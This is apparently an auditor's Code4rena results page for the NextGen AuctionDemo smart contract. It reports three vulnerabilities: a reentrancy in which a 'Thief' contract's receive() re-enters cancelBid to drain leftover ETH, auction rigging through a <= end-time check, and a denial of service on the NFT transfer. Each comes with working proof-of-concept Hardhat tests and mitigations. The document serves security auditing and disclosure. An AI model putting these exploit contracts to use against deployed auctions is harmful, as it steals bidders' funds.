NextGen - amaechieth's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L115-L117

Vulnerability details

Impact

AuctionDemo::claimAuction is missing validation, which may cause ETH to be left in the contract. This remaining ETH can be stolen by any bidder given their bid was <= the ETH in the contract.

Proof of Concept

This POC will first include a description of the vulnerability, then a coded POC to demonstrate below.

First assume in this scenario there are 4 bidders (Alice, Bob, Charles, Daniel) who each bid 1 eth, 2 eth, 3 eth 4 eth respectively. Let's also assume Daniel also bid 1.5 eth previously. So in total, there are 5 bids.

When the highest bidder (Daniel) or the ADMIN calls claimAuction, Daniel is sent the NFT. Alice, Bob & Charles are refunded their ETH as shown below:

( Given that the auction end time is known ahead of time, we can expect block.timestamp==minter.getAuctionEndTime(_tokenid))

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }

Both of the call are missing a validation for the bool success, so any failed calls will result in stuck ETH in the contract, however this is more significant here:

else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); }

Let's assume in this scenario Charles' refund failed for any reason, this means his 3 ETH will remain in the contract.

The problem with this is each before each call in the loop auctionInfoData[_tokenid][index].status = false; is missing.

Daniel who won the auction, also receives a call to refund his prior bid of 1.5 eth. Daniel is using a smart contract wallet which has a receive fallback function which is configured to maliciously to call cancelBid:

function cancelBid(uint256 _tokenid, uint256 index) public {
        // @audit-issue can cancel bids at the same time as claim auction
        // this means if highest bidder also has second highest bid
        // they can game the auction by
        // cancelling their highest bid thereby getting their eth back instead of sending it to the owner
        // and claim the auction with their second highest bid
        require(
            block.timestamp <= minter.getAuctionEndTime(_tokenid),
            "Auction ended"
        );
        require(
            auctionInfoData[_tokenid][index].bidder == msg.sender &&
                auctionInfoData[_tokenid][index].status == true
        );
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder)
            .call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(
            msg.sender,
            _tokenid,
            index,
            success,
            auctionInfoData[_tokenid][index].bid
        );
    }

However as auctionInfoData[_tokenid][index].status = false; was not set in claimAuction, Daniel's call to cancelBid is valid and he receives an additional 1.5 ETH from the 3 ETH left in the contract.

This is also exploitable by Bob or Alice, who may also be using a smart contract wallet and have configured their receive fallback function to call cancelBid in the case there is remaining ETH.

POC:

Copy this test directly in Context Minting:

it.only("#stealFromAuction", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      expect(await contracts.hhMinter.getAuctionEndTime(Number(mintIndex))).to.equal(auctionEndTime)
      expect(await contracts.hhMinter.getAuctionStatus(mintIndex)).to.be.true

      // join auction
      await contracts.hhAuction.connect(signers.addr1).participateToAuction(mintIndex, { value: 100 });
      await contracts.hhThief.connect(signers.addr4).prepare(mintIndex, 1);
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 150 });
      await contracts.hhAuction.connect(signers.addr2).participateToAuction(mintIndex, { value: 200 });
      await contracts.hhSCW.connect(signers.addr3).prepare(mintIndex);
      await contracts.hhSCW.connect(signers.addr3).joinAuction({ value: 300 });
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 400 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      const auctionContractBalanceInit = await contracts.hhThief.getBalanceOf();
      console.log("INIT auctionContractBalance: ", auctionContractBalanceInit);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Claim auction
      await contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex);

      const thiefContractBalance = await contracts.hhThief.getBalance();
      console.log("thiefContractBalance: ", thiefContractBalance);

      const auctionContractBalance = await contracts.hhThief.getBalanceOf();
      console.log("auctionContractBalance: ", auctionContractBalance);

    })

Add this to fixtures deployment script:

const auction = await ethers.getContractFactory("auctionDemo")
  const hhAuction = await auction.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress(),
  )

  const thief = await ethers.getContractFactory("Thief")
  const hhThief = await thief.deploy(
    await hhAuction.getAddress(),
  )

  const SCW = await ethers.getContractFactory("SCW")
  const hhSCW = await SCW.deploy(
    await hhAuction.getAddress(),
  )

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction,
    hhThief: hhThief,
    hhSCW: hhSCW,
  }

Create Thief.sol:

pragma solidity ^0.8.19;

import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import "hardhat/console.sol";
import "./IERC721Receiver.sol";

contract Thief is IERC721Receiver {
    auctionDemo auction;
    uint tokenId;
    uint index;
    bool entered;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    receive() external payable {
        if (entered) {
            return;
        }
        entered = true;
        console.log("REENTRANCY TRIGGERED");
        auction.cancelBid(tokenId, 1);
    }

    function prepare(uint _tokenId, uint _index) external {
        tokenId = _tokenId;
        index = _index;
    }

    function joinAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getBalanceOf() external view returns (uint256) {
        return address(auction).balance;
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 _tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        return
            bytes4(
                keccak256("onERC721Received(address,address,uint256,bytes)")
            );
    }
}

Create SCW.sol

pragma solidity ^0.8.19;

import {auctionDemo} from "./AuctionDemo.sol";

contract SCW {
    receive() external payable {
        revert("SCW: no receive");
    }

    auctionDemo auction;
    uint tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function prepare(uint _tokenId) external {
        tokenId = _tokenId;
    }

    function joinAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }
}

Resulting in this output:

INIT auctionContractBalance:  1150n
thiefContractBalance:  300n
auctionContractBalance:  150n

Tools Used

manual

Recommended Mitigation Steps

Firstly I would recommend redesigning this contract to use pull-over-push architecture.

If this architechture remains then:

1. This statement is missing validation and should be refactored as so:

else if (auctionInfoData[_tokenid][i].status == true) {
auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

2. This should be < not <=

require(
            block.timestamp < minter.getAuctionEndTime(_tokenid),
            "Auction ended"
        );

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

An auction can be unfairly gamed by a single bidder in a way that completely disincentivises participants.

This malicious bidder can submit a bid for 1 wei, then submit another bid for an extremely large amount that is way above a reasonable value for the auctioned NFT eg. 1000 ETH.

This will prevent anyone else from joining the auction as they can only submit bids more than the highest bid.

The contract has an bug, which allows a user to cancel their bid at the same time as the auction is over.

require(
            block.timestamp <= minter.getAuctionEndTime(_tokenid),
            "Auction ended"
        );

The above should be < not <=

This means the malicious bidder can completely control the entire auction by cancelling their overpriced bid once the auction is meant to be over, meaning other users don't have a chance to participate, and at the same time this malicious bidder will win the NFT for just 1 wei.

Proof of Concept

it.only("#rigAuction", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      expect(await contracts.hhMinter.getAuctionEndTime(Number(mintIndex))).to.equal(auctionEndTime)
      expect(await contracts.hhMinter.getAuctionStatus(mintIndex)).to.be.true

      // join auction
      await contracts.hhAuction.connect(signers.addr1).participateToAuction(mintIndex, { value: 100 });
      await contracts.hhAuction.connect(signers.addr1).participateToAuction(mintIndex, { value: 100000000000 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Highest bidder can front-run `claimAuction` and get refund for their bid
      await contracts.hhAuction.connect(signers.addr1).cancelBid(mintIndex, 1);

      // Claim auction
      await contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex);

    })

Tools Used

Manual

Recommended Mitigation Steps

Change <= to <

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

The issue here stems from the the fact that the AuctionDemo contract uses the push pattern instead of the pull pattern.

In this case if the highestBidder is a smart contract wallet, but doesn't implement IERC721Receiver or the onERC721Received function, then the claimAuction function will fail causing permanent loss of funds to all bidders in the auction.

Proof of Concept

The following call will fail in this scenario

IERC721(gencore).safeTransferFrom(
                    ownerOfToken, 
                    highestBidder, 
                    _tokenid

POC:

it.only("#auction fail", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      // join auction
      await contracts.hhThief.connect(signers.addr4).prepare(mintIndex, 1);
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 150 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      const auctionContractBalanceInit = await contracts.hhThief.getBalanceOf();
      console.log("INIT auctionContractBalance: ", auctionContractBalanceInit);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Claim auction
      await expect(contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex)).to.be.reverted;

    })

Tools Used

Manual

Recommended Mitigation Steps

1. Implement pull over push pattern

Assessed type

DoS